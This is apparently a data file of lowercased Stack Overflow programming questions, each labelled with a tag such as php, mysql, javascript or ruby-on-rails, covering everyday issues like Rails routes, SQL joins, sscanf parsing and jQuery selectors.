&lt;td&gt; .$netamt11. &lt;/td&gt; ;     echo  &lt;td&gt; .$usage11. &lt;/td&gt; ;      if($row[ duh ]&gt; 0.77 ) {// 0.77 i cannot change to $avg  because it will hightlight all the rows become yellow    echo  &lt;td style= background-color: #ffff00; &gt; .$duh. &lt;/td&gt; ;}    else {        echo  &lt;td&gt; .$duh. &lt;/td&gt; ;     }     echo  &lt;/tr&gt; ;    $no++; } &gt; &lt;/tbody&gt; &lt;tfoot&gt;   &lt;tr&gt;     &lt;th colspan= 5 &gt;total&lt;/th&gt;     &lt;th&gt;&lt; =($total) &gt;&lt;/th&gt;   &lt;/tr&gt;   &lt;tr&gt;   &lt;th colspan= 5 &gt;average&lt;/th&gt;   &lt;th&gt;&lt; =number_format($avg 4) &gt;&lt;/th&gt;   &lt;/tr&gt; &lt;/tfoot&gt; </code></pre>,mysql
php redirect within ifstatement  i have the following code:   <pre><code>if($_post[ profilename ]!=  ) {     $profilename = $_post[ profilename ];      if (!($stmt = $con-&gt;prepare( update `user_settings` set profilename=  profilesetup=  where username=  )) || !is_object($stmt)) {         die(  error preparing: (  .$con-&gt;errno .  )   . $con-&gt;error);     }     $stmt-&gt;bind_param( sis   $profilename  1  $_session[ user ]);     if($stmt-&gt;execute()) {          echo  &lt;div class= alert_successful alert_absolute_center &gt; ;         echo  profile name change successful! ;         echo  &lt;/div&gt; ;     } else {         echo  &lt;div class= alert_unsuccessful alert_absolute_center &gt; ;         echo  something went wrong... try again! ;         echo  &lt;/div&gt; ;     } } </code></pre>   i would like to be able to redirect to different places depending on the result of the if statement... i have tried setting variables and then using a meta redirect  but of course that didn t work because it was looking for the variable before it was actually set...    any help is much appreciated.,php
rails engine routes not loading  i have an application my_app  and an engine my_engine.    my_app routes:   <pre><code>rails.application.routes.draw do   mount myengine::engine =&gt;  /api  end </code></pre>   my_engine routes:   <pre><code>myengine::engine.routes.draw do   post  files/sync  =&gt;  files#sync  end </code></pre>   from my_app  i run <code>rails routes</code>  and see the following:   <pre><code>              prefix verb uri pattern controller#action my_engine_engine      /api        myengine::engine  routes for myengine::engine: </code></pre>   as you can see  <code>routes for myengine::engine:</code> displays 0 results. i ve tried every answer in the books about this issue  but nothing works.    why are my engine routes not being listed by the app     (note that my_engine is a local gem — do i have to do something special to reload it possibly ),ruby-on-rails
parent controller listen to event from child controller  i have a parent shell html file that has an icon to update the number of products in the cart. the number is supposed to be retrieved from a factory.   <pre><code>angular     .module( awesome )     .factory( productfactory   productfactory);      function productfactory($log) {      var factory = {         addcartproducts: addcartproducts          getcartcount: getcartcount     }      cartproducts = [];      return factory;      function addcartproducts(product)     {         cartproducts.push(product);         getcartcount();         $log.info(cartproducts.length);     }     function getcartcount() {         return cartproducts.length;     } } </code></pre>   in the parent controller i have an <code>scope</code> value being pulled from    <pre><code>$scope.count = productfactory.getcartcount() </code></pre>   in the child controller i m adding to the cart   <pre><code>$scope.addtocart = function (product) {     productfactory.addcartproducts(product); }; </code></pre>   however when i add to the cart  i can see in the log that they are being added  however  the item in the parent controller does not update. what am i missing,angularjs
asp.net error:  the identity of application pool is invalid   my asp.net web service cannot run because the application pool is unable to start due to the identity crisis it s experiencing.    the user i m using in the app pool is a domain user  it s a local admin  it s in iis_wpg  i ve given it  act as part of the os permissions  - nothing. nada. fails to start the application pool each time.    adding the user to iis_wpg is usually what s missing  but i guess there s something else.    things i ve tried:   <ul> <li>adding user to iis_wpg</li> <li>adding user to local admin group and adding the  act as part of the os  right.</li> <li>aspnet_regiis -ga </li> <li>rebooting...</li> <li>checked password</li> <li>recreated the app pool and assigning only my application to it</li> </ul>   p.s. if i use the network service user it all works - it s just my  custom  user that s failing. logging in (interactively) with this user works.    <strong>edit:</strong>    the solution is as described in <a href= https://stackoverflow.com/questions/863537/asp-net-error-the-identity-of-application-pool-is-invalid/954650#954650 >the accepted answer</a> (adding the  log on as service  right to the application pool s identity user).    i ll just add  for future reference  for those encountering the following message when trying to add the  log on as a service  right to a domain user:    <blockquote>     this setting is not compatible with   computers running windows 2000 service   pack 1 or earlier....   </blockquote>   know that <em>this has nothing to do with windows 2000</em> and it s just the domain s group policy that s preventing you from assigning this right to the user.,asp.net
is there a setter method used here in this method implementation   just looking at an example of code which implements a method called bodymassindex.    rather than access the instance variables in the class directly  the idea is that accessor methods are used instead. i m just not sure whether both setter and getter methods are present here and that s what i need to ask about.    here is the code:   <pre><code>-(float)bodymassindex  float h = [self heightinmeters]; return [self weightinkilos] / (h*h); </code></pre>   what i am really wondering is where is the setter method in this code  i see the getter methods being used  in terms of the two messages <code>heightinmeters</code> and <code>weightinkilos</code> being sent to the instance of the class  but i m not seeing the setter methods. is it that the setter methods are not going to be used in the implementation of other methods     i have seen the setters used in the related main.c file for this program so i know how they get used in terms of setting a value indirectly. are setters only used purely <strong>outside of</strong> the class then     <em>i really don t like to copy and paste code and ask about it. i d rather ask questions about code i ve written myself that i m having problems with  but as i am new to accessor methods i haven t any choice this time!</em>,objective-c
best practice javascript class inheritance with only static methods  does it make sense to have classes that only have static methods extend each other  is it good/bad practice 　　　　　　　   <pre><code>class a {   static baz(){}   static dostuff(){}        }  class b extends a {     static foo(){}     static bar(){} }  class c extends b {   static another(){} } </code></pre>   i assume this was done so that c can be imported and then    <pre><code>c.baz() and c.foo()  </code></pre>   are readily available  but it just doesn t seem clean.,javascript
left joins not working with subquery  i am trying to write this sql:   <pre><code>select      a.a_id as aid       b.b_id as bid        c.title   from b        ( select          a.a_id      from a        where a.type =  2       ) as a   left join c on b.b_id = c.c_id </code></pre>   if i don t put a reference to the left join or the select <code>c</code>  then it works.  if i do put the left join  then i get an error that the b.b_id is an unknown column.  why can t i use a left join here or more specifically  why is any column in table b unknown   the first part of the statement is a normal select from table b  so why can t it find those columns     when do you use subqueries versus inner joins   in this example:   <ul> <li>table a contains fixed length flags (a bunch of integers) with information about topics </li> <li>table c contains things like topic title  etc.  </li> <li>table b contains the category information.  </li> </ul>   what i am trying to accomplish is to pull all categories of a certain type (table a)  and also pull all topic titles (table c) where the category id is the same as what it is defined for the topic id (table b).,mysql
should arguments be specified in c++  <pre><code>#include &lt;iostream&gt;  using namespace std;  void pri(int x); void pri(float x);  int main()  {          float x = 10.2;          pri(10.2); }  void pri(int x) {     cout &lt;&lt;  int  &lt;&lt; endl;  }  void pri(float x) {       cout &lt;&lt;  float  &lt;&lt; endl; } </code></pre>   in the above code when 10.2 is given as the argument  it gives a compile error and when it is given x as the argument that is also the 10.2  it works fine. what is happening here,c++
routing to a  sub-controller   i have a  companies_controller  which is getting big as it is controlling everything. a company has a service which i need it to be set  sub-route  of companies.    i routed my company like this:   <pre><code>resources :companies do   member do     get  services/service    end end </code></pre>   i use this to access my route: services_service_company_path    i get this:   <pre><code>routing error  uninitialized constant companies </code></pre>   any help  i m new to rail/ruby so i m not sure how to state my problem correctly.,ruby-on-rails
how to fire a particular click event of button when entering data in text box  i have added three text box with three buttons  i want that when enter first text box  event fire of first button as well as when enter on second text box  event fire of second button as on..    but facing the problem that this all in user control  and when enter in first text box  event fire of first button  and when enter second or third text box also event fired of first button.    i have added java script and jquery function on key-press event of textbox(key == 13) but these functions not making check in user control.,asp.net
rake db:test:clone rails_env= test  fails  odd error: database configuration does not specify adapter  i am running <code>rake db:test:clone rails_env= test </code> and i get the error: <code>database configuration does not specify adapter</code>.    my database.yml is as follows:   <pre><code>development:   adapter: postgresql   encoding: unicode   host: localhost   database: mydb_development   username: mydbuser   password:   allow_concurrency: true   pool: 5   min_messages: warning  test:   adapter: postgresql   encoding: unicode   host: localhost   database: mydb_test   username: mydbuser   password:   pool: 5 </code></pre>   ps. <code>rake db:test:prepare rails_env= test </code> returns the same error.    on  test  i am not sure if host is required. i deleted it and tried again just in case. any ideas     <strong>update</strong>    when i execute <code>rake db:create:all</code> i get a notice:   <pre><code>mydb_development already exists </code></pre>   isn t it suppose to also return mydb_test already exists     i run <code>bundle exec rake db:create rails_env=test</code> and got the same error.,ruby-on-rails
why does an undefined variable in javascript sometimes evaluate to false and sometimes throw an uncaught referenceerror   everything i ve ever read indicates that in javascript  the boolean value of an undefined variable is false. i ve used code like this hundreds of times:   <pre><code>if (!elem) {    ... } </code></pre>   with the intent that if  elem  is undefined  the code in the block will execute. it usually works  but on occasion the browser will throw an error complaining about the undefined reference. this seems so basic  but i can t find the answer.     is it that there s a difference between a variable that has not been defined and one that has been defined but which has a value of undefined  that seems completely unintuitive.,javascript
check if a div which is inserted by javascript has loaded  i have a page which loads in magento. since i have to do some quick fix  i need to check if a div has loaded. the  is inserted using javascript.    div name: umm    using this: <a href= https://stackoverflow.com/a/4160706/1147634 >https://stackoverflow.com/a/4160706/1147634</a>   <pre><code>var len = jquery( #umm ).append( &lt;a href= # &gt;hi&lt;/a&gt; )     .find( a )     .load(function() {         if( --len === 0) {             alert( all are loaded );         }     }).length; </code></pre>   html inserted using javascript.   <pre><code>&lt;input id= evtproducttype  type= hidden  value= activities &gt; &lt;input type= button  onclick= addinputgroup( evt_detail   evt_detaildhtmlgoodies_tabview1   evt_detailtabtitle );  value= + add activity &gt; &lt;div id= umm &gt;&lt;/div&gt; &lt;div id= dynamicgroupcontrol &gt;&lt;/div&gt; </code></pre>   i have to wait until this divs are loaded.     this doesn t work  and i my div is empty.,jquery
what is the best way to write a for in loop to the page <pre><code>var family = {     dad:  father       mom:  mother       son:  boy       daughter:  girl  }  for ( var person in family ) {     console.log( &lt;li&gt;  +  the   + person +   is a   + family[person] +  &lt;/li&gt; ) } </code></pre>   i want to know what the best way to insert this into the dom instead of logging it to the console. i want to use just javascript,javascript
getdecorview().getwidth() returns incorrect values on orientationchange  i m using <code>getdecorview().getwidth()</code> to determine the sizing of some elements of my ui. yes  i know this is a hacky approach  but i ve found it to be the only reliable way to determine the actual usable width of the screen (subtracting  for example  the nav bar that is visible on the right hand of the screen on the kindle fire hd in landscape). the problem is that when the device s orientation changes  calling this method immediately after results in the incorrect value. calling this same method just a split second later (by posting a delayed runnable) returns the correct value  but this approach is sort of a hack on top of a hack. is there any way to find out when decor view is  ready  to return the correct value to me,android
why is this directive not working   i m following a directive example but it s not working. i tried adding own version of jquery. doesn t work. for me it looks ok but since i m beginning  this doesn t say a lot. any idea     <a href= http://plnkr.co/edit/1x1yns10mzrrwmifsrhv p=preview  rel= nofollow >http://plnkr.co/edit/1x1yns10mzrrwmifsrhv p=preview</a>    embedded question: i think angular is supressing default error handling in the directive  if i change for example element into esssslement - don t get errors in the console. any way to change this     here again the directive s code:   <pre><code>myapp.directive( userstory   function() {   var linker = function(scope  element  attrs) {       element.mouseover(function() {         console.log( mouseover! );         element.css({ opacity : 0.1});       }).mouseout(function() {         element.css({ opacity : 1.0});       });   };    var controller = function($scope) {    };    return {     restrict:  a       controller: controller      linker: linker   }; }); </code></pre>   thanks!     edit: script in plnkr is corrected - 1. key has to be  link  not  linker   2. jquery script has to be included  and before angular include.,angularjs
extract plain text from html text in asp.net  i have used a rich textbox control ckeditor in my case when any formatting is done to the text the formatted text is populated in the datagrid.but i want to extract only the plain text in the grid and trim the length of data to 80 characters while populating.    the query for updating the answer is as follows    <pre><code>    protected void btnupdate_click(object sender  eventargs e)     {          if (txteditoranswer.text.trim() != string.empty)         {              int intisupdated = 0;             string strupdatequery =  update m_qa set answer =    + txteditoranswer.text.trim().replace(         )                                   +     updated_on = getdate()  updated_by =    + this.session[ userid ].tostring()                                   +    where pk_id =   + _currentquestionid +   and is_active = 1 ; </code></pre>   and the query for populating data in the grid is as follows:   <pre><code>    protected void loadqa(int intquestionid)     {         string strselectquery =  select replace(title   \n    &lt;br /&gt; ) title  replace(description   \n    &lt;br /&gt; ) description                                    +  answer  fk_owner_id  created_on from m_qa where pk_id =                                   + intquestionid +   and is_active = 1 ; </code></pre>   can plz some buddy help me!!,asp.net
landscape screen shifted to right in 20px  i am trying to rotate the screen on the iphone. for example   first state of screen : is  portrait .  then it calls  landscape  screen. following code is used for making landscape screen :   <pre><code>- (void)viewdidload {     [super viewdidload];     [uiapplication sharedapplication].statusbarorientation = uiinterfaceorientationlandscaperight;     cgfloat angle = 90 * m_pi / 180;     self.view.transform = cgaffinetransformmakerotation(angle);     self.view.center = [nrangeappdelegate sharedappdelegate].window.center;     uilabel *label = [[uilabel alloc] initwithframe:cgrectmake(0  20  480  44)];     label.textalignment = uitextalignmentleft;     label.numberoflines = 2;     label.text = @ 12345\n67890 ;     [self.view addsubview:label]; } </code></pre>   but above code shifted to right in 20 px.    how to make 480x320 view at point 0 0 no shifting       thanks in advance.   <h3>update:</h3>   my application navigation based application. all uiviewcontrollers have one uiview. when call the the view i am trying rotate  this code is used : myroratedcontroller *myctrlr = [[myroratedcontroller alloc] initwithnibname:@ myroratedcontroller  bundle:nil]; [navigationcontroller pushviewcontroller: myctrlr animated:no]; i ve changed cgpointmake(160.0  240.0) by many different values. but no changes.,iphone
is there a 2.0 sp2 .net redistributable   i m a bit confused over the .net  redistributables ...    our c# code uses some api calls that require .net 2.0 sp2. <strong>we do not want to require the user to download anything at the time of installation</strong> (this is a winforms app with and installer) for various reasons. we currently include the 2.0 redistributable  and of course the functions requiring sp2 throws.    is there a redistributable package for 2.0 sp2 to be found somewhere     if not  what would be the best alternative,.net
why apple recommend the leading or trailing constrain to margins   in storyboard  when i pin my custom label .for example  the leading constraint is 10. however  there exists 8pt margin. so we can see the origin of the label is (10+8 y).but for ios7 and former   there is not exist the layout margin...so to make all the devices have the same look.we usually  use the follow code..    <code>[something setpreservessuperviewlayoutmargins:no];</code>     to cancel the margin ... i thinks it very unnecessary.. so in fact   when i  pin the leading constraint i always uncheck  constraint to margins     am i right  any idea of the layout margin     <a href= https://i.stack.imgur.com/qwmlj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qwmlj.png  alt= enter image description here ></a>,ios
how do i get the last element of a $.each  i have this   <pre><code>     $.each(data  function (url) {       $( ul ).append($( &lt;li class= horizontal &gt;&lt;/li&gt; ).html(this.title));     }); </code></pre>   i want to add the class last to the last one...how would i do that,jquery
how to print a grid view using itextsharp  how to print a gridview data (all of it) using itextsharp in asp.net  i need only a hint not the full code,asp.net
c++ any faster method to write a large binary file   <strong>goal</strong>    my goal is to <em>quickly</em> create a file from a <em>large</em> binary string (a string that contains only 1 and 0).    <strong>straight to the point</strong>    i need a function that can achieve my goal. if i am not clear enough  please read on.    <strong>example</strong>   <pre><code>test.exe is running... . inputted binary string:         1111111110101010 writing to: c:\users\admin\desktop\test.txt         done! file(test.txt) in byte(s):         0xff  0xaa . test.exe executed successfully! </code></pre>   <strong>explanation</strong>   <ul> <li>first  test.exe requested the user to input a binary string.</li> <li>then  it converted the inputted binary string to hexadecimal.</li> <li>finally  it wrote the converted value to a file called test.txt.</li> </ul>   <strong>i ve tried</strong>    as an fail attempt to achieve my goal  i ve created this simple (and possibly horrible) function (hey  at least i tried):   <pre><code>void binarystrtofile( __in const char* destination                        __in std::string &amp;binarystr ) {     std::ofstream outputfile( destination  std::ofstream::binary );      for( ::uint index1 = 0  dec = 0;          // 8-bit binary.          index1 != binarystr.length( )/8;           // get the next set of binary value.          // write the decimal value as unsigned char to file.          // reset decimal value to 0.          ++ index1  outputfile &lt;&lt; ( ::byte )dec  dec = 0 )     {         // convert the 8-bit binary to hexadecimal using the         // positional notation method - this is how its done:         // http://www.wikihow.com/convert-from-binary-to-decimal         for( ::uint index2 = 7  inc = 1; index2 + 1 != 0; -- index2  inc += inc )             if( binarystr.substr( index1 * 8  8 )[ index2 ] ==  1  ) dec += inc;     }     outputfile.close( ); }; </code></pre>   <strong>example of usage</strong>   <pre><code>#include  global.h   void binarystrtofile( __in const char* destination                        __in std::string &amp;binarystr );  int main( void ) {     std::string bin =   ;      // create a binary string that is a size of 9.53674 mb     // note: the creation of this string will take awhile.     // however  i only start to calculate the speed of writing     // and converting after it is done generating the string.     // this string is just created for an example.     std::cout &lt;&lt;  generating...\n ;     while( bin.length( ) != 80000000 )         bin +=  10101010 ;      std::cout &lt;&lt;  writing...\n ;     binarystrtofile(  c:\\users\\admin\\desktop\\test.txt   bin );      std::cout &lt;&lt;  done!\n ; #ifdef is_debugging     std::cout &lt;&lt;  paused...\n ;     ::getchar( ); #endif      return( 0 ); }; </code></pre>   <strong>problem</strong>    again  that was my fail attempt to achieve my goal. the problem is the speed. it is too slow. it took more than 7 minutes. are there any method to quickly create a file from a large binary string     thanks in advance     clearner,c++
what is the best way to repeatedly call a method that fetches json from a remote server(ios)  im a newbie to ios. i need some guidance on which is the best way to retrieve json every 5 sec from a remote server both  when in foreground or background  so that the ui gets updated properly regardless of the state. for example: similar to a live cricket score app for ios.     any leads will help me. thanks.,ios
jquery select value color  i have a select drop down and i change the color of the selected value using the following code:   <pre><code>if(some condition) {    $j( #  + myddlid +   option:selected ).css( color    red ); } </code></pre>   the problem is that when i select the value for e.g. apples from dropdown. apples being the displayed value in the dropdown is red. but now if i click on the dropdown i can see apples in the option list as red. i don t want that.    please tell me a way to achieve this using jquery,jquery
limit before distinct <pre><code>select distinct no  count(*) as total  from ar_test  group by no  order by total desc </code></pre>   this code works fine <br>    so i have this column <code>no</code> and it holds numbers from 0 to 36 and i have a lot of rows. so this sql groups them in single 0  1  2  3  4 .... 36 and in <code>total</code> gives me the count of every 0 to 36 number. it looks like this : <br><br> 0 - is 40 times in the table <br> 1 - is 35 times <br> 2 - 15 <br> 3 - 14 etc... <br> this code counts all my rows. <br>    so i need to add limit  i want to count the last 100 rows only and check it out their count. <br> if i add <code>limit 7</code> at the end of my sql code for example. it won t work that way cuz it will give me the count from number 0 to 6... first i need to select (limit) the last 7 rows  and after that to use my type of code and count them.,sql
sql in syntax comparison in proper order  i have a question regarding this statement:   <pre><code>select *  from texts  where id in (1  3)    and address in ( address_one    address_another ); </code></pre>   i want to have all records which fulfill these conditions:   <ul> <li>has id = 1 and has address  address_one  </li> <li>has id = 3 and has address  address_another </li> </ul>   if there is any way of doing this,sql
using sscanf to read strings with white spaces in c  i am trying to get use sscanf to scan a string of text and store the values into an array. when it comes to storing the last string it stops scanning when it comes to a white space. for example in the below string it would only store the word  string . i have tried using %[^ \t\n] and the other various specifiers but it seems i am missing something.     i just cant get the function to include white space  im sure its probably something simple.    <pre><code>string test =  9999:string of text ;  scan = sscanf(test   %d:%s   rec[i].ref  rec[i].string); </code></pre>,c
replace all language spaces with standardized space  am working on a simple search input. it splits terms by space  which works nicely. however it does not recognize other languages spaces.    i d like to preg_replace other languages spaces to a standardized space.    example    <pre><code>$pattern       = array(    //insert other language space codes here (i don t know what they are or how to find them)  ); $replacement   =    ; $string        =  日本語　の　スペース　です ;  $cleaned = preg_replace($pattern  $replacement  $string); </code></pre>,php
how to fix ip-based voting   i have ip based voting code  but the problem is when i vote from my computer ( connected to the internet using the same network ) i can t !!      here is the code :    <pre><code>global $wpdb; $post_id = $_post[ id ]; $ip = $_server[ remote_addr ]; $irt_textonclick = get_option( irt_textonclick ); $recommend = get_post_meta($post_id   _recommended   true);  if($post_id !=   ) {     $votestatusbyip = $wpdb-&gt;get_var( select count(*) from  .$wpdb-&gt;prefix. irecommendthis_votes where post_id =  $post_id  and ip =  $ip  );      if (!isset($_cookie[ recommended- .$post_id]) &amp;&amp; $votestatusbyip == 0) {         $recommendnew = $recommend + 1;         update_post_meta($post_id   _recommended   $recommendnew);          setcookie( recommended- .$post_id  time()  time()+3600*24*365   / );         $wpdb-&gt;query( insert into  .$wpdb-&gt;prefix. irecommendthis_votes values (    now()   $post_id    $ip ) );          $return_text = $recommendnew .     . $irt_textonclick;         echo $return_text; //$recommendnew; //      }     else {         $return_text = $recommend .     . $irt_textonclick;         echo $return_text; //$recommendnew; //       } } </code></pre>,php
query help required for newbie  i have created 3 tables.    <pre><code>tblregion{regionid as integer  regionname as varchar(100)}   tblcountries{countryid as integer  countryname as varchar(100)  regionid as varchar(3)}   tblusrs{userid as integer  username as varchar(100)  prefregion as varchar(3)  prefcountries as varchar(100)} </code></pre>   now data in each table:   <pre><code>tblregion --------- regionid  regionname:  1 asia -- 2 africa -- 3 europe -- 4 america  tblcountries ------------- countryid  countryname regionid: 1 china 1 -- 2 malaysia 1 -- 3 singapore 1 -- 4 afganistan 3 -- 5 uk 3 -- 6 spain 3 -- 7 libiya 2 -- 8 morocco 2 -- 9 us 4 -- 10 canada 4 -- 11 mexico 4   tblusrs ------- usrid usrname prefregion prefcountries:  1  mike 2 -1 -- 2 john -1  1 5 9  -- 3 michael -1   1  -- 4 tango -1  8 9  </code></pre>   from the above data if user passes region as 2  both userid 1 &amp; 4 to be displayed.    i have written query but seems some thing wrong.   <pre><code>select *  from tblusers  where (prefregion =  2 ) or ( 2  in (         select regionid          from tblcountries  tblusers          where convert(varchar tblcountries.countryid) in (tblusers.prefcountries)         )     ) </code></pre>,sql
how to enter a special character as a password character in c#  how do i enter a unicode character (it needs to be the equivalent of ascii character 254  a solid square centered box) as the password character in a textbox     i need to do this in code  for example textbox.passwordchar =             thanks,c#
how to list all local computer user profiles in a combo box   i need to enumerate all user profiles on a local computer and list them in a combo box. any special accounts need to be filtered out. i m only concerned about actual user profiles on the computer where the app is running. i have done some searching but i haven t found a clear answer posted anywhere. i did find some code that might work but selectquery and managementobjectsearcher are displaying errors in vs and i m not sure what i need to do to make this work.   <pre><code>using system.management;  selectquery query = new selectquery( win32_useraccount ); managementobjectsearcher searcher = new managementobjectsearcher(query); foreach (managementobject envvar in searcher.get()) {      console.writeline( username : {0}   envvar[ name ]); } </code></pre>,c#
how to send feedback/review/edit content in the android dev guide   is there any official/effective way for sending feedback for the android developer s guide  i noticed a mistake (a page recommends using a method that the documentation lists as deprecated) and was wondering if there is a way to point it out to someone working on the site  but i wasn t able to find anything.,android
can t use colspan to line up columns as expected in firefox  i m trying to build an html table (4.01 transitional) using the code below.  it renders as i d expect using chrome from windows  but renders in an unexpected fashion in firefox 17.0.1 provided w/ ubuntu.  on unbuntu  the first columns in the 2nd and 3rd row are the same width.  also the 2nd column in the 3rd row is the same width as the last 3 columns of the 2nd row.  is there anything i can do that would be compatible with more browsers    <pre><code>&lt;table width= 500 &gt;     &lt;tr&gt;         &lt;td align= center  colspan= 5  width= 500 &gt;5 wide&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center  colspan= 2  width= 200 &gt;2 wide&lt;/td&gt;         &lt;td align= center  colspan= 1  width= 100 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 1  width= 100 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 1  width= 100 &gt;1 wide&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center  colspan= 1  width= 100 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 4  width= 400 &gt;4 wide&lt;/td&gt;     &lt;/tr&gt;  &lt;/table&gt; </code></pre>  <hr>  <h2>begin edit</h2>   i m not sure it s the best way  but i achieved consistent behavior between browsers with  and  elements.     <pre><code>&lt;table width= 500 &gt;     &lt;colgroup&gt;         &lt;col width= 25  /&gt;         &lt;col width= 75  /&gt;         &lt;col width= 200  /&gt;         &lt;col width= 100  /&gt;         &lt;col width= 100  /&gt;     &lt;/colgroup&gt;     &lt;tr&gt;         &lt;td align= center  colspan= 5 &gt;5 wide&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center  colspan= 2 &gt;2 wide&lt;/td&gt;         &lt;td align= center  colspan= 1 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 1 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 1 &gt;1 wide&lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center  colspan= 1 &gt;1 wide&lt;/td&gt;         &lt;td align= center  colspan= 4 &gt;4 wide&lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>,html
rails - gem for downloading files from another website  i am currently working on a rails app. i want to go to a website(<a href= http://alt19.com/  rel= nofollow >http://alt19.com/</a>) and select a set of options  then click a button which triggers the download of a csv file. then i want to take the file and parse it.    i have found a gem for parsing csv files. however  i don t know if there is a gem for navigating to another website  selecting a set of options  downloading several files and saving them somewhere where my app can process them.    is there anything like this  if not  are there any alternative solutions,ruby-on-rails
c# open form2 at specific record from datagridview click  i have a datagridview on form1 (mainmenu) and i want to double click and open form2 (trainingrecord) at the record i selected on form 1 (mainmenu).     this is my existing code which is missing the datagridview selection code which goes something like this:   <pre><code>// staffdatagridselect.selectedrows[0].cells[1].value.tostring()  this.trainingdatagridview.currentrow.cells[1].value.tostring(); </code></pre>   it s all bound to a database but i just can t figure out how to open the new form on that particular record. once i can open the form i can navigate and edit records using the default form navigation buttons but i want to be able to open it at a specific record.   <pre><code>private void trainingdatagridview_cellmousedoubleclick(object sender  datagridviewcellmouseeventargs e) {     this.trainingdatagridview.currentrow.cells[1].value.tostring();     form trainingrecord = new trainingrecord();      trainingrecord.startposition = formstartposition.centerscreen;     trainingrecord.mdiparent = this.mdiparent;     trainingrecord.show(); } </code></pre>   does anyone know how to do this,c#
"update a table if it matches a string  i wanted to update my table if the string matches a  a table cell    example if my string  value is jhonyy i want to update a row where it contains jhonyy as a value and update its 3rd column which is age via textbox.   <pre><code>&lt;script type= text/javascript &gt;         var table = document.getelementbyid( tbl_test );         for (var i = 0  row; row = table.rows[i]; i++) {        //iterate through rows        //rows would be accessed using the  row  variable assigned in the for loop        for (var j = 0  col; col = row.cells[j]; j++) {          //iterate through columns          //columns would be accessed using the  col  variable assigned in the for loop        }        }     &lt;/script&gt;` </code></pre>   i did some research and only got stuck here.i don t know how to access the rows and cells.    <a href= https://i.stack.imgur.com/lct3n.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lct3n.png  alt= enter image description here ></a>    here is the snippet    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;body&gt;
   &lt;table id= tbl_test  style= width:50% &gt;
     &lt;tr&gt;
       &lt;th&gt;firstname&lt;/th&gt;
       &lt;th&gt;lastname&lt;/th&gt; 
       &lt;th&gt;age&lt;/th&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td&gt;jhonyy&lt;/td&gt;
       &lt;td&gt;smith&lt;/td&gt;
       &lt;td&gt;50&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td&gt;eve&lt;/td&gt;
       &lt;td&gt;jackson&lt;/td&gt;
       &lt;td&gt;94&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td&gt;john&lt;/td&gt;
       &lt;td&gt;doe&lt;/td&gt;
       &lt;td&gt;80&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/table&gt;
   &lt;br /&gt;
   &lt;br /&gt;
   &lt;p id= demo &gt;&lt;/p&gt;
   &lt;button id= btn_test  value= test  onclick= test_table() &gt;test&lt;/button&gt;
   &lt;input type= text  id= txt_test  name= txt_test &gt;
 
   &lt;script type= text/javascript &gt;
     function test_table()
     {
      var table = document.getelementbyid( tbl_test );
      for (var i = 0  row; row = table.rows[i]; i++) {
    //iterate through rows
    //rows would be accessed using the  row  variable assigned in the for loop
    for (var j = 0  col; col = row.cells[j]; j++) {
      //iterate through columns
      //columns would be accessed using the  col  variable assigned in the for loop
      if (cell.textcontent ==  jhonyy ) 
      {
       change_text();
     }
   }  
 }
 }
 function change_text() {
   var x = document.getelementbyid( btn_test ).value;
   document.getelementbyid( demo ).innerhtml = x;
 }
 &lt;/script&gt;
 
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     edit:i tried to run a function if the <strong>if</strong> statement was true.it s not working just a test.",javascript
html accesskey attribute  what does this mean:  the value must be an ordered set of unique space-separated tokens,html
python typeerror:  myexception  object is not callable  i have a file like this:   <pre><code># filename: auth.py  class disabledaccounterror(exception):     def __init__(self  uid):         self.uid = uid      def __str__(self):         return repr(self.uid)   class deletedaccounterror(exception):     def __init__(self  uid):         self.uid = uid      def __str__(self):         return repr(self.uid)  def login_validation(account):      if login_info.status == object_status_disabled:         raise disabledaccounterror(login_info.uid) # this is line 426      if login_info.status == object_status_deleted:         raise deletedaccounterror(login_info.uid) </code></pre>   but sometimes  the server will report some error like this:    <code>typeerror:  deletedaccounterror  object is not callable</code>    but the stack trace was so weird:   <pre><code>typeerror:  deletedaccounterror  object is not callable   file  xxxxxx.py   line 104  in login_validation     login_info = auth.login_validation(account)   file  auth.py   line 426  in login_validation     raise disabledaccounterror(login_info.uid) </code></pre>   how does this error happen     why the error is <code>deletedaccounterror</code> but the stack trace is <code>disabledaccounterror</code>      i can t reproduce the error by myself. i both tried to disable an account and delete an account. but it really happened in our production server.,python
tostring java of arrays  i have several arrays in a class    i want to implement tostring() to print all values.    how to do this    <pre><code>public string var1[];    public int var2[]; public string var3[][]; public int var4[]; public int var5[][];  public string tostring() {          for(string s :  var1) {               system.out.println(s.tostring());                    }           return  null;     } </code></pre>   that prints all var1[] content but how to print all   do i have to put a loop for every one of them,java
how do i add current location in java code  how do i add current location into a java code  what i mean by this is when i type  where am i   i want the output to be my current location  if anyone knows i would be very grateful if you could tell me. thanks,java
mysql cluster : disk space not freed after deleting rows  i have deleted all the rows in mysql cluster tables having disk data tables.it still shows used extents ....    how can i free those used extents.... if i use truncate table than only the extents are freed else they are still occupied after deleting rows using delete statement,mysql
how to see log in attendances in calendar  i am creating a project in ror. i have a log in feature and i want  for example  a user log in and the date when he did it can be seen on a calendar. also i want a user to see all his log in attendances on a calendar. could any one give me an idea how to do it  thank you!,ruby-on-rails
